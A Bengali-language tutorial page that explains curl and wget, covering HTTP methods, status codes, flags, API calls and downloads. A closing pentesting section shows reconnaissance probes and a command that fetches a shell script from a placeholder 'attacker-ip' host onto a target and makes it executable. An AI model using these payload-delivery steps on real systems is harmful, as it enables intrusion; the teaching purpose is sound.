Skip to Content

curl & wget

Browser ছাড়া terminal থেকে web server-এ request পাঠানো, API call করা, file download করা — curl আর wget দিয়ে সব হয়। Penetration testing-এ এই দুটো tool প্রতিদিন লাগে।

HTTP Request কী

আগে বোঝো, তারপর command।

তুমি browser-এ google.com লিখলে browser আসলে Google-এর server-এ একটা HTTP Request পাঠায়। Server সেটা দেখে HTTP Response পাঠায় — যেখানে web page-এর content থাকে।

curl হলো সেই browser-এর কাজটাই terminal থেকে করার tool।

HTTP Methods:

Methodমানেকাজ
GETতথ্য নাওPage load করা, data read করা
POSTতথ্য পাঠাওForm submit, login, file upload
PUTতথ্য update করোExisting record বদলানো
DELETEতথ্য মুছে দাওRecord delete করা

HTTP Response code:

Codeমানে
200OK — সফল
301/302Redirect — অন্য URL-এ যাও
403Forbidden — আছে কিন্তু access নেই
404Not Found — নেই
500Server Error — server-এ সমস্যা

curl vs wget

curlwget
মূল কাজHTTP requests, API testingFile download
OutputTerminal-এ দেখায়File-এ save করে
API supportহ্যাঁ — best choiceনা
Recursive downloadনাহ্যাঁ
Resume downloadনা (সহজে)হ্যাঁ (-c)

curl

Basic requests:

Terminal
# GET request — page content terminal-এ দেখো curl https://example.com # শুধু Response headers দেখো (body নয়) # Server software, content type, redirect দেখতে কাজে লাগে curl -I https://example.com # Headers + body দুটোই curl -i https://example.com # File-এ save করো curl -o output.html https://example.com # নিজের নাম দাও curl -O https://example.com/file.zip # original নাম রাখো # Redirect follow করো (301/302) curl -L https://short.url/abc # Verbose — পুরো request এবং response দেখো curl -v https://example.com # Silent — progress bar লুকাও (script-এ ব্যবহার করতে) curl -s https://example.com

API requests:

Terminal
# GET request curl https://api.example.com/users # POST — JSON data পাঠাও (login, form submit) curl -X POST https://api.example.com/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"pass123"}' # -X POST = method # -H = header যোগ করো # -d = body data # Authentication header curl -H "Authorization: Bearer eyJhbGci..." https://api.example.com/data # PUT — existing data update curl -X PUT https://api.example.com/user/1 \ -H "Content-Type: application/json" \ -d '{"name":"Omar"}' # DELETE curl -X DELETE https://api.example.com/user/1

Bearer Token কী: API authentication-এ server একটা token দেয়। সেটা প্রতিটো request-এ header-এ পাঠাতে হয় — এটাই Bearer token। Authorization: Bearer TOKEN এই format-এ।

Useful flags চিটশিট:

Flagকাজ
-X METHODHTTP method specify করো
-H "Header: Value"Custom header যোগ করো
-d "data"Request body data
-o filenameOutput file নাম দাও
-OOriginal filename-এ save করো
-LRedirect follow করো
-Iশুধু headers দেখো
-iHeaders + body দেখো
-sSilent mode
-vVerbose — সব দেখো
-kSSL certificate error ignore করো

wget

File download-এর জন্য সবচেয়ে reliable।

Terminal
# File download করো wget https://example.com/file.zip # নিজের নাম দিয়ে save করো wget -O myfile.zip https://example.com/file.zip # Background-এ download (বড় file) wget -b https://example.com/largefile.iso # Interrupted download resume করো wget -c https://example.com/largefile.iso # Speed limit — bandwidth বাঁচাতে wget --limit-rate=500k https://example.com/file.zip # একাধিক file — urls.txt-এ প্রতি line-এ একটা URL wget -i urls.txt

CyberSec Note

curl আর wget pentesting-এ:

Information gathering:

Terminal
# Server technology detect করো — কোন web server, কোন version curl -I https://target.com # Server: nginx/1.18.0 # X-Powered-By: PHP/7.4.3 # robots.txt পড়ো — admin বলে দিচ্ছে কোন paths hide করতে চাইছে # এই paths গুলোই interesting target curl https://target.com/robots.txt # Disallow: /admin # Disallow: /backup # Disallow: /secret # HTTP status code দেখে path exists কিনা বোঝো curl -s -o /dev/null -w "%{http_code}" https://target.com/admin # 200 = exists, 403 = exists but forbidden, 404 = নেই

File transfer — target machine-এ payload পাঠাও:

Terminal
# Target machine-এ shell download করো wget http://attacker-ip:8000/shell.sh -O /tmp/shell.sh chmod +x /tmp/shell.sh # অথবা curl দিয়ে curl http://attacker-ip:8000/shell.sh -o /tmp/shell.sh

SSL ignore — internal apps:

Terminal
# Self-signed certificate থাকলে curl -k https://internal-app.local

TryHackMe-তে প্রায়ই wget দিয়ে exploit download করতে হয় target machine-এ, আর curl দিয়ে API endpoints test আর status code দেখতে হয়।

Quick Check

  • GET আর POST request-এর পার্থক্য কী?
  • curl -I আর curl -i — কোনটায় কী পার্থক্য?
  • Response code 403 আর 404 কীভাবে আলাদা?
  • robots.txt কেন pentesting-এ দেখা হয়?
  • wget -c কেন ব্যবহার করবে?

পরবর্তী → Netcat

Search Keywords: linux curl wget bangla, curl POST request Bengali, HTTP methods GET POST, wget download, curl API testing, curl headers robots.txt, cybersecurity curl

Last updated on